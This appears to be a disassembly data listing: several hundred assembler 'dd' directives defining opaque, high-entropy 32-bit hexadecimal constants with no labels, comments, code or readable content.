dd 0B5C8A24Bh, 206C0095h, 0A88CF8EAh, 81099151h, 709BB0EBh
dd 2884B5F6h, 0D68BAF0Ah, 70ACBF49h, 50E2CF00h, 0A2DC5B95h
dd 0B874EDE8h, 955FE289h, 1559C8F3h, 124A5118h, 0A28C4920h
dd 0A13D00B8h, 821C9553h, 620D4834h, 6276BBB4h, 51562B68h
dd 92A24Fh, 890B0153h, 0FDF228h, 843B09EEh, 7D810C0h, 0D6C40816h
dd 1E00CAF2h, 41A4968Ch, 9D05A11Fh, 0A5D573B5h, 635925F7h
dd 0A826EFACh, 0E209873Ah, 8FAB05FAh, 975168C8h, 0E62611D3h
dd 748C1234h, 39EC004Ah, 6E35C8B4h, 1C14E263h, 581A5A61h
dd 9DF13CC2h, 1344BF96h, 9ABA392Ch, 0CF17C8B1h, 8B4712C2h
dd 6D9F32E0h, 0B777CC95h, 56A0327Bh, 80DEB53Eh, 739F6C9Ah
dd 29C88E27h, 80CA61DFh, 94D0B25h, 607ED6D8h, 81403C3Ah
dd 2F53D318h, 57CEFD8Dh, 6A4E9D16h, 0E0B079E7h, 770A552Ch
dd 0B22DF4B3h, 9E805C48h, 3B436903h, 5ACA05E6h, 17DF06C1h
dd 0D179F8B1h, 6CB90BB7h, 7E9CD617h, 26041746h, 0BAD266A1h
dd 9EA9BB17h, 98C17ACh, 5565E419h, 0B59F707h, 0A70040FBh
dd 8796C1CAh, 0F6E30354h, 0B73A9D84h, 0D36DBCCCh, 4A3F9CA0h
dd 6FB20Ah, 94A4BB92h, 6B55C601h, 0A2D4AB49h, 203602F6h
dd 0E2439A54h, 0E0812440h, 99B73E07h, 0C8706142h, 7741844Ch
dd 86E5B766h, 3DDF6F50h, 0AA853DB5h, 81E23225h, 2B2B190Fh
dd 6389C5F3h, 17F66CF4h, 4AC22A1h, 1234E5DFh, 64049E8h
dd 9704ECBDh, 47FBBBAh, 0F2ADC62Fh, 93042FE8h, 27D585E0h
dd 6EFC2EFh, 0AD48C7FDh, 0DD005F51h, 405F3270h, 53DB00D3h
dd 7290D177h, 87095146h, 5F75E9A9h, 37779889h, 5140002Ch
dd 0E0B5F879h, 2981B399h, 9EC23187h, 1CC4ECD0h, 0E5DE26BAh
dd 0BE2F37F7h, 0F41A3400h, 0D781F98Ah, 0AC84E026h, 0A0275125h
dd 31927C4h, 40E9A8D4h, 4F87EC16h, 7079A846h, 41508E2Ch
dd 73ADCE60h, 759200CDh, 3630529h, 0A109A39Ch, 55901739h
dd 980B29B7h, 0E7995FEAh, 0C326031h, 0BD010B84h, 0B0573045h
dd 1345009h, 320B9406h, 3BC839D8h, 0EB4ADEF6h, 9400A76Fh
dd 0CEB2E370h, 3BF08205h, 0C1F1664Fh, 0F9165D2Ch, 0ABAD64ACh
dd 55A55B4h, 3D2D32FEh, 1AC8EB44h, 127D5B90h, 0A0DEBA4Eh
dd 5F26FD83h, 50DE4817h, 4A04F0F0h, 0E069F624h, 171DBCB1h
dd 0E66AD591h, 197DF034h, 0C6F40336h, 0BDBEB22h, 0BC904A9Eh
dd 0D410A52Dh, 55795282h, 7D319D89h, 0CCE9CFCDh, 2990BDD6h
dd 2E2DD66Eh, 4F4458A6h, 0E0F0E6D1h, 4EE8E75h, 0E8460114h
dd 24954010h, 0EADA318Fh, 6B301E1Dh, 86D4103h, 3FFAB58Ah
dd 0D15BBD09h, 89B04F5Bh, 16CB5802h, 3090B7BDh, 0C5AD804Bh
dd 0BFD47900h, 7CA0AC1Ch, 372C271Ah, 7ABFBBD0h, 0C2615B7Ch
dd 8F09D7A1h, 0ED9029C2h, 0F7A1C0A3h, 0C902222Ch, 1C33D549h
dd 0F97441C0h, 6014F376h, 0FD5ED18Bh, 0A6B90BBCh, 0B56384D3h
dd 10D7CEAFh, 0B073F935h, 34292F30h, 4BEF37DCh, 0A4C1DCBDh
dd 7D218535h, 0E34BA50h, 0F3ADA613h, 0B748C1BCh, 0DE11043h
dd 2E67CD5Bh, 4409AA65h, 11E5FDB5h, 87F3F512h, 0BF0CF820h
dd 447FB81Eh, 19612FB5h, 1FF4637Eh, 96360C10h, 0F87A0922h
dd 1711897Bh, 83B0FC17h, 6F1A6922h, 0D5DC70E6h, 0BF5644A9h
dd 0D2BCDF13h, 0F469E4D2h, 25B50988h, 0C5711521h, 0C10BC026h
dd 134CDD2Ah, 6098928h, 92038422h, 0C6729F3Bh, 0D62CE92Fh
dd 0BCFB64CBh, 71966264h, 0C82B0214h, 2BFDBFC2h, 0F82B5F24h
dd 0EF60F056h, 4AE96826h, 2CDB8DA1h, 4C448744h, 0E7805F10h
dd 0B6C49598h, 7755CA9Dh, 0CF06BF5Bh, 9728E64Fh, 1369D902h
dd 4AF5C657h, 0CDD17018h, 0D7000167h, 7BFE3558h, 78537E3Bh
dd 0DF7CA9E9h, 0BD7A602Fh, 458E0465h, 0D185DC40h, 0AEA61C4Ah
dd 9E6DCA03h, 0DE033D98h, 0A6960EEBh, 0E9AFC8D0h, 95891901h
dd 2F5BD581h, 0EBC09967h, 68694C3Eh, 4C8A2806h, 2F4A99E0h
dd 8582E8E2h, 37D7AC6Fh, 43B5872Bh, 0BD091067h, 709106A9h
dd 56060927h, 0BE66C0F9h, 80016E5Dh, 0B961C4E0h, 7A7A1005h
dd 0EAC129Fh, 91020EEh, 0F4B898Dh, 7B57A7C9h, 0F00B1408h
dd 1AC93320h, 960E7CB5h, 0F8D6E9B8h, 4B6804A7h, 0BF8B82AFh
dd 0F819AA4h, 91CB0BF7h, 0ADD22BE4h, 254BB87Ah, 0A2EDD52Fh
dd 24EB5A5h, 76F2432Ah, 107166FDh, 0E5293D9Dh, 0F8A864BDh
dd 26D0F41Ch, 594073EDh, 0F625181Ch, 0CAF03F63h, 64898A1Ch
dd 0CCD76993h, 0D25400C7h, 0AAAF433Dh, 8919B356h, 5F7FA98Dh
dd 0A2FF8F2Bh, 0DC047646h, 79098A4Bh, 447F796Eh, 765249AAh
dd 0C7351A8Ah, 375F5692h, 0CCC19C9Eh, 551511E9h, 0BF161700h
dd 12BED2Eh, 6F5E00B3h, 4EC3A787h, 0BA971435h, 94B55586h
dd 209C9200h, 5FBB337Ah, 0A79D2027h, 541F2A8Ah, 706E2C4h
dd 4A4E8C61h, 8D86D877h, 0FF2D1134h, 3B8049ACh, 64B6C89Fh
dd 5E2F8E0Fh, 4FDBE033h, 9028E1E9h, 0CFE57AFCh, 456FF37h
dd 0BC356968h, 0A7C8E7C2h, 0D909027Ch, 44BC795Bh, 0B5E7FB3Eh
dd 2B7F68A0h, 66FC6B01h, 0E1649F47h, 0D6DE282Fh, 0CD0457D3h
dd 60022345h, 0A0DF9D0Bh, 0F6BB6601h, 0A4899748h, 1937D5h
dd 6CE6052Ah, 8B97B34Bh, 804837A1h, 7A21545Dh, 0DF07813Ah
dd 3D2C446h, 77E1E367h, 482F1BA3h, 0B38C42A7h, 0F799DCEAh
dd 288FDD2Ah, 430180D4h, 0EDE2CD3h, 88E366E0h, 0AE4F0A43h
dd 6BAF6BD1h, 1CC85C9Ah, 0B05527C0h, 1412F645h, 0BF79599Fh
dd 1658E35Bh, 2DC290FEh, 5A6AEC8Ah, 0D899A4F9h, 9B3B5081h
dd 0D61BC747h, 0DAA3744h, 2ED12153h, 0DFBC4FA9h, 898A763Ah
dd 0FCC2DB34h, 0EB0D17D0h, 513DF93Dh, 2F527400h, 926EA2B2h
dd 0AAFC985Bh, 6212D1C0h, 3F00C3E6h, 7E948BA7h, 5DC029F6h
dd 5F3D748Fh, 0A4D48DEBh, 75F82D1Eh, 98577309h, 0C28A1243h
dd 2A420CA6h, 58C1250Bh, 0D071B073h, 0C272A82Bh, 5E24E4BBh
dd 625069F7h, 0E9ECD509h, 0BF3D204Eh, 4B5E6A9Ah, 66AEE24h
dd 3BDD995Ah, 0AAA08180h, 0CD4E4B81h, 4EDA2CE3h, 947E37EBh
dd 0D2A5BDF8h, 26AEEh, 89D2B766h, 0B55B5106h, 17648DCDh
dd 67403360h, 4BD3DA5Dh, 92877B84h, 50012A14h, 3BC88B60h
dd 0DAA5B735h, 11C1391Ah, 3AB38D5Dh, 700232B6h, 502BF1AAh
dd 7F000DC6h, 7975623Bh, 147E2A4h, 235D97DBh, 0C65BFC82h
dd 0BAA6595Fh
dd 31BDE502h, 2558A99Dh, 817A6804h, 42EC9A16h, 8828505h
dd 4BA266h, 2A7F61D8h, 1229E77h, 0B5EF713h, 6B6CD62Ch
dd 0ED295798h, 9028E46Fh, 0D9F90B5h, 54310221h, 5026F6E5h
dd 1EC03ADCh, 0B77DEC08h, 2D212750h, 929D4F15h, 0AD09568Dh
dd 0BDA1BC06h, 8012B366h, 7BBFB5EFh, 2D1B2356h, 7205FE71h
dd 8D82EDA4h, 512D5CFFh, 0CF77C27Ch, 1BA403Fh, 5D01D7ACh
dd 89FF49E3h, 4D6F099Dh, 5B2D69F5h, 52C6C0D4h, 24F5CF99h
dd 1D152E95h, 67226ED7h, 0EFAEE56Ch, 6009708Fh, 0C7F15B53h
dd 9A4FB600h, 2868B72Ch, 27817D7Bh, 37775F61h, 0D2D8D195h
dd 0C5C455h, 80CA0546h, 0CFBF4FF3h, 2B42B513h, 2DDBAA9Ch
dd 76901648h, 0D400613Fh, 29E77E67h, 0C2A847h, 0F26093AFh
dd 5AB1BCA5h, 456B9497h, 56723Eh, 8E8DA67Dh, 77FFB9F6h
dd 0F1FB00C3h, 3D0AF920h, 0B59C73CBh, 155154CAh, 0F4BF5381h
dd 6B426E24h, 8B84A8BCh, 6361AAD9h, 282F319Dh, 8858B771h
dd 0CACC3961h, 0CF7030EBh, 4DF05BD5h, 9138B597h, 0AD4D8019h
dd 4CDEDB30h, 71331555h, 7626507Fh, 37A5C4DAh, 526A07FFh
dd 305D2BB5h, 41ED9DEBh, 0CBF00705h, 0D41E0399h, 0B2003853h
dd 19DCC8C5h, 0BFEAFB7h, 9529BE4Dh, 5F4F61DDh, 819B2A2Bh
dd 76B120B9h, 0A92CBD3Fh, 9980C96Dh, 0D9DE77EAh, 0CC25E402h
dd 0B2F84AEEh, 15B275D9h, 25BFECF7h, 327BF311h, 0C5A59D09h
dd 0F2E57890h, 0CE12783Ah, 12045108h, 808FF852h, 0F4377FA4h
dd 0F7704D1h, 0AE5F30BDh, 1EA01EE7h, 0D12EF33Bh, 1C898EF4h
dd 0C4707875h, 0BD0CE5DAh, 918DA70h, 0F5BA5DEDh, 0BD0E407Dh
dd 0BD3245D1h, 13E99192h, 0D37AC003h, 558849B5h, 1D038EE2h
dd 5947D07Bh, 0BECA0951h, 0B7F5F886h, 8F1C1124h, 0CF03A096h
dd 28A8D33Fh, 2FA970FEh, 62EE0CF5h, 1C30DAA0h, 0D88A9613h
dd 1F6230BEh, 29729787h, 35248B01h, 2CA27822h, 7D004873h
dd 42E0DA5Ah, 0FC0C9EE9h, 203084ABh, 25F6451h, 0E1C7E696h
dd 0B541A5B0h, 0BC3F0371h, 2473AB21h, 0B6EC1B4h, 0B45C2339h
dd 8003B7E9h, 0E9C431B1h, 5D099E98h, 62C5D724h, 51345C86h
dd 0F7A73E42h, 0D3F9CBB0h, 0F8C5A21Dh, 0F8B2CB7Ch, 0E58CA300h
dd 698F4CBEh, 0B7BA1701h, 8A2C1F16h, 0DAA6206Ah, 0B5278D01h
dd 92B77D10h, 12344C25h, 296415Dh, 63FBA81Fh, 5664F85Ch
dd 90028A2h, 0F10E4C8Fh, 5307FEDDh, 0C2A27EA8h, 0BB59C987h
dd 48E8998Dh, 0CA2B01D5h, 82D1A06Ch, 0BBBA0F97h, 5DEBE339h
dd 2E0977C1h, 885AD038h, 1997DF8Bh, 3E3360A2h, 0ACDA5E00h
dd 3937AAC6h, 46655D25h, 7FF40068h, 0F141CC7h, 0CD009470h
dd 7DDA899Dh, 0EE03ECB4h, 43BBE75h, 0FDC66159h, 48FEE8EBh
dd 0BD128E3Dh, 0F9ABB23h, 8489DA5Ah, 7BB8C1E8h, 0CCF77CC9h
dd 16E698A3h, 0B81BE9AEh, 0F06E4F96h, 43839902h, 0B87175D5h
dd 0B2E86C30h, 48850595h, 0ADC18BCDh, 272BB80Dh, 96A55B88h
dd 825C8156h, 8D6A203Ch, 0D41C152Dh, 309FDE7Fh, 1D9D4312h
dd 0C1C9FDEFh, 99279492h, 0FAED2A8Bh, 0BD535012h, 70F58086h
dd 4B8E779Ah, 62BB05Fh, 0BA5B188h, 6CE2D339h, 2BE72570h
dd 3DE8A6A9h, 704F4E90h, 7AEF88h, 0A8839088h, 6EBD750Eh
dd 82561B00h, 0BC1CEF36h, 7FF013DEh, 761759E3h, 0BB65DC81h
dd 0D210E625h, 0B0119824h, 25BD2DBCh, 5A051759h, 0A2AEAD09h
dd 0AE800DAh, 0C0AFB946h, 0EC7404D5h, 0EF75FDC3h, 92EFB413h
dd 54D30597h, 711B870h, 45622B78h, 0B604A9F6h, 66D2EE8Dh
dd 2BC26250h, 0C0054DA0h, 0FDE56534h, 3362370Eh, 0DE31EBBDh
dd 75C69C4h, 0DBEA10B4h, 10A4D03Eh, 0B85B0F01h, 5C2801Eh
dd 0A4880Eh, 0DE3D2F03h, 7A5DAC87h, 718E4E02h, 0C1EA4293h
dd 9592F964h, 8247E95Bh, 141E45BDh, 959D3113h, 1104D153h
dd 0B9F6D1FFh, 22F601E2h, 1030EB2Dh, 115115Ah, 0B070BF61h
dd 282E4F9Bh, 5688B7DEh, 693D09BFh, 88DF0DA6h, 4FD645CEh
dd 0FF3C20B7h, 21053702h, 90268AFBh, 0D980CFFCh, 0F07F8777h
dd 0CD48D67Ah, 5F254BCAh, 210C80EBh, 3C0957F3h, 2CD7B98h
dd 2005E9CEh, 189AA37Fh, 5ACC4748h, 4A80E9ADh, 0F6A8BBE6h
dd 46905B2Fh, 0B58B9758h, 0F39D02F8h, 181659F6h, 0EBE1B8DAh
dd 1800E823h, 513ABFC2h, 76002293h, 0B2C86BF7h, 446035h
dd 0C1B826BCh, 85E95BF4h, 492F9C97h, 0B317DC64h, 12D46FDBh
dd 0F9BD2F68h, 0A734B6D3h, 75CE0E0h, 0F87149Ch, 0BC9DEA8Bh
dd 0FC01D25Fh, 1C7482DDh, 37ED4A80h, 9B0984A5h, 935DBCF9h
dd 6FE843F9h, 96D28F1Dh, 53570985h, 906E3480h, 9D29085Bh
dd 62250A25h, 0C9885CF8h, 0D225D958h, 38CE6B5h, 551C36BFh
dd 0B6E46A43h, 0ADC6E0EFh, 14F9A0BBh, 1A6297F6h, 2A41B578h
dd 0FD41C16Fh, 802D7D05h, 84D7DDE0h, 0EA4800ACh, 52232D50h
dd 37129514h, 0A9F60B0Ah, 49F0C22h, 0B00E293Dh, 0E6F3B701h
dd 0BAD44070h, 715BE43Ah, 482EBAF1h, 7CADEFA3h, 1BD10888h
dd 27E50C31h, 0B6162806h, 12FA2BC8h, 5AABE627h, 4D38FBFDh
dd 0D2B45A43h, 25D499B5h, 935CA3C2h, 38F6EBE7h, 8855E340h
dd 0F9A3D2EFh, 7EE78101h, 2F1BAFF4h, 5E1199E9h, 5085C8DAh
dd 47554C18h, 0B12E45F8h, 0B2D43963h, 8109A30Dh, 482F34B3h
dd 90B23997h, 95F92B20h, 26947527h, 193F5500h, 83679FC0h
dd 4E65B31h, 323E199h, 8449E95Fh, 53149CAAh, 9D0B5B04h
dd 0AB1234C5h, 0E0C4E264h, 770CE7BEh, 197DB516h, 0B8A584BCh
dd 7B05D36Dh, 0D2B52F61h, 7ABF8608h, 97267E8Ah, 7FD99EB3h
dd 3C6F6BACh, 0D9AF4805h, 8313FEDBh, 0F66AEB49h, 9C02DEF9h
dd 4529B533h, 4A04484Bh, 7576BFDBh, 0D4D300FEh, 2D8A9059h
dd 3A163745h, 0D0AB3199h, 11C6B96Bh, 0C2A5A3B4h, 7007DBBDh
dd 6C0FDD3Fh, 0A94EB1A8h, 10D8D676h, 22AA5F2Eh, 6653FCD9h
dd 78E0E70h, 8FD90B31h, 0C539229Ch, 3C40A97Ch, 0AFBC1Bh
dd 0C4690AADh, 0B6E83361h, 0C0582BEAh, 60897C7Bh, 5010303Eh
dd 2B27615Eh, 69447CD2h, 4D69DA73h, 0F1414026h, 9D4F328Eh
dd 1D9EEEE9h, 9654E701h, 0AB4105F4h, 0BFF6804Bh, 0E945F3C4h
dd 18BD880Dh, 1F024CECh, 0BFBDCCC2h, 0BB99D10Fh, 0CC7BFB2Dh
dd 1A9DBD04h, 0F954E2AEh, 67E0607Ah, 0B496F5CDh, 0DA64BFDCh
dd 41742327h, 8E2E1095h, 0BF71225Ah, 0B725BBC6h, 7DDBE43Fh
dd 0C5F4BD89h, 6111D62Fh, 2F31E780h, 1623B76Bh, 3DFB2200h
dd 9AF33BBh, 0E1FF7692h, 65C093CDh, 559ABDFh, 69AAD83Dh
dd 29B0E0A4h, 45A29C97h, 80173861h, 0D3131E94h, 84F4003Ch
dd 2276276Bh, 9C0314BBh, 5750E602h, 5E5F8A5Bh, 3A5551B7h
dd 0DCB0BBF7h, 949761A3h, 34F445B0h, 4DB560A5h, 3782C0DEh
dd 0F848C5A1h, 104175C0h, 81C9002Eh, 0BFA0AEC3h, 0D5C86A6Ah
dd 0F5BA0344h, 0BA132E47h, 2F56EEFh, 733332BCh, 8510DDFBh
dd 0B5394323h, 0F84B8F39h, 2B7AA007h, 1721AD64h, 2456851h
dd 5F25B555h, 4091C95Eh, 40C5EA40h, 9D122B26h, 2DAB27A5h
dd 0DD9A3EBEh, 0B52A7580h, 0FA4E8B9Ah, 0A1005FE2h, 0DF62F50Ah
dd 72CF88CEh, 5B1730ADh, 0A166EB8Ah, 9E1209Ch, 0FE2FB0B0h
dd 0E4351890h, 0F1DEC70h, 37BBA32Eh, 78A576C0h, 3E056F9Fh
dd 0D27B6747h, 0E3C590BAh, 0DE9C90E7h, 9E9C7040h, 1B9700B9h
dd 36742749h, 6A5B5259h, 0E1F009B6h, 0EE09903Dh, 44EB6C86h
dd 0D6769F3Bh, 0A31350h
dd 8652D54Eh, 0A017DC68h, 0FA3FE9BFh, 2308F43Bh, 4BBF143Eh
dd 56F51131h, 52FB8D45h, 4D29AACFh, 1336A3Eh, 89170BD7h
dd 0E42A5DB5h, 0D3BD85CCh, 512CF026h, 3B0BD3FAh, 8616BB42h
dd 4C7C4E6h, 92A63EBFh, 0AAC7BC2Eh, 9D47057Ch, 0EF03E50Bh
dd 0C5FD8B0Dh, 25F38260h, 0B5D3E956h, 9CBA8416h, 0C176A09Fh
dd 3B69107h, 0FF816581h, 508971E0h, 0C6740675h, 3F4C51E9h
dd 0F9A1E380h, 0F2B4359h, 94A32103h, 0C7BFB936h, 0BF835794h
dd 3E9FC4Fh, 8C1CACh, 5B61DCB0h, 0A58FD808h, 34F13764h
dd 0EA068905h, 29AF8D85h, 1BC72E3Eh, 0F6BB46F5h, 4B3FE02Eh
dd 183CF8A4h, 7AB49F57h, 0C9821A45h, 77BE151Eh, 50D6A44Fh
dd 35F8514Fh, 5461BB4Bh, 9ADCA691h, 7F871C6h, 391E3A2Ah
dd 30A24766h, 0B5FFFC5Dh, 9682344h, 0E131D351h, 5122598h
dd 5C5FDE02h, 5E5BF0D4h, 30AE02F6h, 0CD541EEDh, 0F0CA04DCh
dd 0C1CD974Bh, 3A209E19h, 0E6EA0624h, 1CF7E04Ch, 0F48C1764h
dd 8E68C8D4h, 9B5B8A00h, 5DA7B1F3h, 6FDA02B3h, 9069D6C3h
dd 5073D658h, 3CADFA77h, 8E169461h, 0AD5B043Ch, 0AFBF80EEh
dd 4A186085h, 8028DB61h, 138EC0A2h, 9DB77703h, 4F7400DEh
dd 467B33h, 73B93292h, 9E2CE99h, 1D45BD09h, 80C9F45Eh
dd 0D8E54AC1h, 4D7B9525h, 9719115Fh, 89EBC8EFh, 356D9513h
dd 0C9E8D7EDh, 46257990h, 1DC6E5A4h, 0B7BD2F8Ch, 0F3885300h
dd 7998D58Ch, 0B6548BAh, 6A035BB1h, 0E15FAE7Ah, 0CA992BA8h
dd 0DF2E1F21h, 69A89719h, 574F6A2h, 0BD267069h, 37D80DDBh
dd 0AA0D0EF5h, 1AB35B4Ch, 1F5E04D0h, 9D525767h, 5FF5C885h
dd 40A6BE96h, 3FF26266h, 515EDC75h, 5B3884A3h, 26E4CCCFh
dd 15FD2303h, 0B83377D5h, 1AA5A625h, 544C5968h, 1C12025Ch
dd 875B2BAFh, 1690AE15h, 25A7BD84h, 0E7E681B7h, 9E23CF9Ch
dd 0E11D7E2Dh, 2B7C61EBh, 0A2FC78ADh, 0E8771327h, 4ABF0A3Bh
dd 7B77F1B2h, 4135189Ch, 0B1142E2Ch, 0B8D4E48h, 0B39FE73Bh
dd 3CD31657h, 0C9CD0922h, 0DE4AB579h, 5F27510Bh, 4E94C896h
dd 0D9BB00D4h, 30BF869Fh, 43612BF8h, 8EE4C782h, 870F5284h
dd 0E9BB4005h, 9F7C847Dh, 2FFE77D6h, 70509A7Ah, 420E59Fh
dd 0D24D8D29h, 33542BD4h, 0FA163D4Ah, 0D5F8730Eh, 4BA0AC3Ch
dd 5409201Fh, 1B0055C8h, 470DC037h, 0F47A5F0Ch, 930F28Bh
dd 0D0A74EC5h, 16117237h, 0CDFE2F80h, 977DD7BBh, 0B2352FEFh
dd 8CE21A12h, 56822788h, 48ED8D89h, 97965B3Fh, 6F3B2390h
dd 0AF1D1A16h, 418AFBh, 96C9B750h, 4B35BD01h, 0C871DB1Bh
dd 0D650C017h, 58B58BA8h, 25FF9C63h, 92F8BF5Fh, 50F45077h
dd 0FB9D3184h, 4D6EAE59h, 83522E0Dh, 4BC4BEB0h, 255ECA36h
dd 67FACF39h, 92B8C06Ch, 3E74C072h, 85A0884Fh, 28EE9534h
dd 0D80BF7E8h, 5E2AFA4Ah, 9501D0E4h, 0E9B7ED62h, 27145E97h
dd 0B9035737h, 0FA0F8C1Dh, 6930D90Bh, 0ABCA5B04h, 0ACF89D84h
dd 0C0965080h, 0EC001672h, 3DA62D65h, 4FCC9CFh, 37AB0DDCh
dd 0BE3FE50h, 0E02BE578h, 2E44417Ah, 0D1B51289h, 21FBB634h
dd 382232h, 597BC45Bh, 903A1CEDh, 0A0096500h, 9A9D24F3h
dd 576C2092h, 0AD188613h, 0BDBCBABDh, 0A839F803h, 0F1C29CD4h
dd 29CA8529h, 0ED9DA558h, 0A7FEC219h, 8D898189h, 75008B51h
dd 57EC68F2h, 4D630BCFh, 65540ED1h, 23DBB382h, 8F69FFBDh
dd 0A050776Ah, 3B1720h, 98D6C09Ah, 6A706C05h, 0E59D4DBFh
dd 0C18FA7Ah, 4C28DBA6h, 0D704F04Eh, 0B92C3EAFh, 6FAA4B92h
dd 628F13C3h, 5C0830C2h, 9D2BE0AFh, 7E8226F1h, 3BF46B20h
dd 5EE30439h, 8AB8D1FFh, 0C62959A2h, 2AF495E0h, 60846EF0h
dd 0DEEFE855h, 18956140h, 7989BF75h, 6A2C13CDh, 558B0D02h
dd 8AC6BB3h, 9C84BBD3h, 0BC484BCAh, 37BE6C0h, 3A00DAB4h
dd 0CEB371AEh, 9BA2114h, 0B8E98A11h, 90C22C71h, 6DF30B18h
dd 0EEFB5F72h, 0C7D46DADh, 0AD5BE0E1h, 8DE4F53Eh, 0D4D2D697h
dd 0F82530BDh, 0F3321C7Ch, 4FEDD3BEh, 0B8973ACAh, 5F90CBA7h
dd 7C2DDEC4h, 0C7107F9Ch, 59345160h, 0F6FE1061h, 0BF4DF042h
dd 726C139Fh, 3FC8BA2Ah, 60B0028h, 0CD819B71h, 8D018548h
dd 60448E6Bh, 35605961h, 0B82C4AD5h, 25C4B6C5h, 0DF711981h
dd 5A511A4Ch, 0C366FD35h, 0CD6A39B7h, 0F217A66Fh, 0C1B30023h
dd 9D297047h, 0F324B12Dh, 120C0070h, 0BB8E38EFh, 24CBB000h
dd 32428B75h, 0A411689h, 0DDA40B95h, 606D6F57h, 6A5E748Fh
dd 69C1C712h, 622BF7B1h, 8598FD78h, 0B08118B9h, 0E66A912Bh
dd 44203A70h, 242D03h, 34B14E67h, 0EF8071E4h, 0B529060Bh
dd 557DA901h, 1A7FEFBAh, 0C258DFB4h, 6299511h, 750AFCCBh
dd 0B14B60D0h, 6A00048Fh, 0A3159B65h, 12673768h, 0E180986Bh
dd 0F8C82F8Eh, 418B0022h, 0B2660134h, 0DF2F7C53h, 1C447478h
dd 9AC3655Bh, 28C5E410h, 0D1A7E05Ah, 7AE2B764h, 0E30B7C54h
dd 0F834ABBh, 44834E49h, 7C96FAB5h, 0DFD6C909h, 4A77F855h
dd 0DDE1B961h, 197D9D04h, 52584C48h, 0D5852D89h, 0AF5BA505h
dd 305F0ECAh, 7DBD09F9h, 43B81A4Eh, 4EDD2B7h, 59A05D5Ch
dd 7F4972B4h, 0D20E1D64h, 0A9A6979Eh, 869738Dh, 0AF69150h
dd 39B4F842h, 0F3810094h, 45172CA1h, 0C14CE8B7h, 85318018h
dd 5E138925h, 46FFE90Bh, 13814233h, 43FB8D29h, 1016B9D4h
dd 60DBBA85h, 0E81A02DCh, 565C3317h, 62375F27h, 74F04D00h
dd 25C69F19h, 7D44FCEBh, 862CB83Fh, 0C244FE14h, 0DE1D0068h
dd 3ABC9867h, 2AE3B3B0h, 70E9E6C5h, 828169EDh, 7F89D22Bh
dd 3148D8E4h, 4A9D59AEh, 1CF220E7h, 1096A30h, 9948D15Fh
dd 4878ADC5h, 9510293Ch, 66051475h, 0AF28BCBBh, 0E500A57Fh
dd 0F05F6275h, 0F3027BF6h, 0CB617DBFh, 0E9C7DE7Ch, 4B40F4CDh
dd 4865982h, 51028955h, 0DF5FB0CBh, 0F7541B97h, 1D263D62h
dd 0C4353033h, 69E214B8h, 0EA097729h, 979AA5Dh, 0C06D4F2Dh
dd 4A22DF66h, 0ED182007h, 29B1C465h, 314411BDh, 0A2ADA6EEh
dd 0A4C6B01Dh, 0C7D300ECh, 0A9697910h, 0FF25E0D2h, 59F989E1h
dd 5272440Ch, 8088F2A2h, 0F59593BBh, 7184F9ACh, 0F2CEEA26h
dd 0BD5D3127h, 947C0056h, 3899E579h, 7EEF0809h, 821A3760h
dd 80AFF9EFh, 514C854Ch, 30C911E4h, 0CC08C44Ah, 180BF84Ch
dd 5F338215h, 14A6771Ah, 8B953513h, 0C1E2ED0Dh, 7049FD6Fh
dd 265AC531h, 0AC1266F3h, 0E8B2ED01h, 0FEB94AF1h, 75B0AF59h
dd 4A12AC14h, 2B47AFFh, 2AA04AA2h, 3471B2h, 5E9C3018h
dd 0C8FD2002h, 0E801159Eh, 975DA3B8h, 602EF49Fh, 90DA8A13h
dd 255D44BFh, 0E74C87E2h, 72525025h, 802BB1DDh, 17B7F108h
dd 0C1006F48h, 0C8219241h, 4FEC0518h, 6E27B542h, 0C89736BCh
dd 0E01CA3Eh, 0AA1DB747h, 7C295B7Ch, 9B90E874h, 0B3FC7AE7h
dd 0DB8052C0h, 4E5B6065h, 0BB81BF66h, 0F92FB498h, 78197C2Dh
dd 0D19550FEh, 6BE8BC7Bh, 0AFFC805Dh, 9CA8316Dh, 81CC565Fh
dd 5FB21CB7h, 2A642D8Bh, 9B87E301h, 4148A94Fh, 0A1899F70h
dd 0E100A29h, 380025D8h, 0DFBAEF84h, 168BB716h, 0A6585FF8h
dd 0F4F3E794h, 23FAA0B3h, 7F519F29h, 0FA276B2Ch, 2F749641h
dd 7A03D75h, 30C7BC73h, 0BD45F3EFh, 4F96BE48h, 982BC4C9h
dd 4127BF29h, 5F2C77A9h, 64E6D98h, 0D1D0CEB9h, 0B161913Dh
dd 3F1081B5h, 1BB810B9h, 52BF8BACh, 8B5E09E5h, 6CC14DFDh
dd 4D752E1Bh, 0C5BF30EFh
dd 75004363h, 32BD71D0h, 0E03552EAh, 6A570161h, 9E47AF76h
dd 5357E272h, 0FC67F8DEh, 0A66D4201h, 689BAFDh, 0B27E0965h
dd 2DDBA83Dh, 8CF2D1B7h, 1E2B2F41h, 4BBF8E65h, 0B87B5424h
dd 0BC9E4931h, 0FC3C091Bh, 0D9558D0Fh, 0E6D749CAh, 3EC69522h
dd 626CBF00h, 87682DB7h, 69A03103h, 2F41E516h, 1E78E10Eh
dd 0BD898B3Dh, 588BA949h, 0EC76972Ah, 0B38801F4h, 0BD0B6597h
dd 0C4F57BCDh, 0E953B97Ah, 34B22Bh, 237B21B7h, 9730E59Dh
dd 0C60067Ch, 0F4453DB4h, 0E9549F2Fh, 0D0735F7Ah, 0C76E5452h
dd 61C63135h, 20F02E1Dh, 8B8E3CDFh, 36C5FC25h, 3DF476ADh
dd 0DA058144h, 3692E198h, 9387E2AEh, 0D9660023h, 0E63A8F19h
dd 335106Ah, 0F705D3EEh, 9DC80519h, 8E3043CDh, 0F85B7185h
dd 40FC5EA0h, 7703F0F1h, 191DB015h, 0E20F0D96h, 3E6A0A10h
dd 0ED3E07E5h, 0D0F8FDB9h, 9C723816h, 0C60B8E1Ah, 7E956E50h
dd 349ED491h, 5B02FBC0h, 4F5E2713h, 803AF571h, 85D1327Ah
dd 12BF3C4Ch, 0B122D9F4h, 3BFD2E5Dh, 0D5A0F4E8h, 81800FEDh
dd 0D1EE09E3h, 0FD5B3464h, 1160E324h, 0A78C85h, 0FD0EA0CEh
dd 902B5612h, 0D0B60C07h, 40CE2E48h, 0B3505F88h, 0BF859AE1h
dd 520079B7h, 54C84DB8h, 0A1701EA2h, 42958281h, 737726DCh
dd 236D4915h, 35518440h, 1783044Dh, 0B918CBE4h, 7DD98B0Bh
dd 429DCEC6h, 2A38D783h, 5B4AEF80h, 219DE9D8h, 62AF0FF1h
dd 8B23D616h, 0D4ED2050h, 2D742CBh, 0DF2CF9DFh, 1D71C273h
dd 618358h, 915FC920h, 5DF0CC27h, 4EAC164Eh, 65BD31C1h
